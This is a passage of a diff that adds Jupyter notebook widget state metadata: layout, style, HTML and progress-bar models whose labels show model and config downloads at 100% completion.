"DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "9ee7a0fe9750457abaf427983e5866fe": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "9ef7b0ea4e4e46b18953056deaa6cf95": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "9f4a6f9a897c4db0a8d92bf01f3f820c": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "9f7e4357439944e392d0c9e93068c898": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_d923cb2715554512a7faf5b5d73a4ed8", + "max": 382, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_4399ee6304e94797ac6f36318165d4cc", + "value": 382 + } + }, + "a086d1c6722547d5be5939cf4284a1ef": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "a0f1a81a8d8f4e05a26d7a0a61565c53": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "a1b45d2ecbe44a158b7a0e2f818922ae": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "a1ed5abc44e94c1ea19fa959fc95b91a": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "a207168326fd45159d8eec29ea91ccac": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_848755aa7d4a4889b85870aac916c5ff", + "placeholder": "​", + "style": "IPY_MODEL_922d64656ae0415795f9e50e79d5d5f8", + "value": "Downloading model.safetensors: 100%" + } + }, + "a212be07369b404eb9f04a9cde6543d4": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "a218d578aded48ba8acca854622c14a9": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "a2630966b93643e99721ea631339d088": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_6ca84bcd6bea4a92a80d50351aa1be4f", + "IPY_MODEL_d2a03fa596c34b12a1aed264e8d08077", + "IPY_MODEL_74702e35e09048eabfb470dc85fb5be4" + ], + "layout": "IPY_MODEL_4276b44c60b64716ab7ad52d8354bc1f" + } + }, + "a263feafcec44c2eab4150af170d670a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "a27de7fc1bfa486f9ff8829d4d4198f6": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_a9a5528792504d12bf153d2b02fd3847", + "placeholder": "​", + "style": "IPY_MODEL_439ee7b8de924bf6ba5ee4ef22e0e659", + "value": "Downloading (…)lve/main/config.json: 100%" + } + }, + "a283d06ba73a4fc98e18e7080e794edf": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_44bc01157b4945b7b81401f978dce8ca", + "max": 342, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_e39e7bf535fb4492ae9ac75591e79287", + "value": 342 + } + }, + "a32f66c9b59e4ae2bca41c1c582119e7": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "a33e6193984b46d4bb9b4187d726009e": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_1c65960b291c4d92bced5bca619e8256", + "placeholder": "​", + "style": "IPY_MODEL_194f16cb7fbb42a78d9237e4e6654b58", + "value": "100%" + } + }, + "a37c136cb6c34c1ea5a66bd78c5750ae": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "a3ca3b9ce6b24d43bdf8361379b6d502": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "a3f598a48fa448dbb44a40c8c7af85e6": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_c8ce8fd6e04e416381d892fbf75a0b75", + "placeholder": "​", + "style": "IPY_MODEL_8d62ab081ff94e7abe3cc911d3376bbd", + "value": " 20/20 [00:26<00:00, 1.29s/it]" + } + }, + "a3fc1ea7dc724184ae564edeb2e755ba": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "a526959014a644cba47969ebba62fa7c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_ceb41aa2ac6c4c1982598a5085f7a977", + "IPY_MODEL_8dd1b3d2ce124d2a92d69bb1897a078e", + "IPY_MODEL_c7eafdcd51dc419c99b3248093fbfbff" + ], + "layout": "IPY_MODEL_5eca9f78607349a9893b0c88f3c53181" + } + }, + "a56166c024494356bc1b9a9e9a434c86": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "a74467c946df4fe99fba1b2751a0cad1": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_48dabed3f2ce465ab16a704e0c6b12f7", + "IPY_MODEL_810aba56f12342fcbcb7344d08235ec8", + "IPY_MODEL_0dc0896c330d417a8b452d27699f86bf" + ], + "layout": "IPY_MODEL_9074425e4bf04c428926f5504cd3a8de" + } + }, + "a8dcc8f3435a4870a76be1729b003b6f": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "a94d5d8411844431bb022813d14461c0": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "a97373cd0b29464dac7d2b3bfe3aa276": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_745c74b4ac1942c497d0bee51b2e7b17", + "placeholder": "​", + "style": "IPY_MODEL_89feac2a7b7d47388548f946fff4c862", + "value": "Downloading (…)cheduler_config.json: 100%" + } + }, + "a999af1084134026904611113b3feac6": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_814f29773b6b40d99d03320a3f5fe7d4", + "IPY_MODEL_9f7e4357439944e392d0c9e93068c898", + "IPY_MODEL_8e31c3cc06bd4e9b92c3b1e6d5a9d61f" + ], + "layout": "IPY_MODEL_9dc6d26cdb7945ffb31b2c381412a383" + } + }, + "a9a5528792504d12bf153d2b02fd3847": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "aa4097be74c3412eb9571ed6ef250828": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "aa79187007a448a381f604ea8b5be0ba": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "aac46407f5d74ebbb6a58b10de9b86f4": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "aafa0b9b142a44f79368f411710ea55c": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "ab44913ac7c44a0f89a963fddf9dba39": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "abb332369a9b4996b84d77eee7e5dc0a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_ec96bfae8c9c48e5827755ce0e8a885f", + "max": 541, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_0c6beb3311554ae1b3bea23eadf8620d", + "value": 541 + } + }, + "ad63323795ae48679bb40de0056219d3": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_4cb413851dc3469a8ea04e40373b11de", + "IPY_MODEL_21549aef7c6f4c64b8eb676c6dd105e2", + "IPY_MODEL_7cd3b5a0ce274ae5b5954a3c7d9d3bb4" + ], + "layout": "IPY_MODEL_4a3a0d14e22f4a6e9dbb5fb35bc33e8d" + } + }, + "ad785ec6b7924f2ebcdf0957a16c656d": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "aec13914c37649feb868b8f531a07a83": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_fd3e1648c2b84f5f81cd7ee3d2fbc4c0", + "placeholder": "​", + "style": "IPY_MODEL_25d1091281ad407c833a36c7e421e1e2", + "value": "Downloading (…)lve/main/config.json: 100%" + } + }, + "af113f9b9b1749f0a856b3f371f03a2d": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_72fc016402374ad996a292470fa75906", + "placeholder": "​", + "style": "IPY_MODEL_4ec20db88a97441982a914517888a8b4", + "value": "Downloading 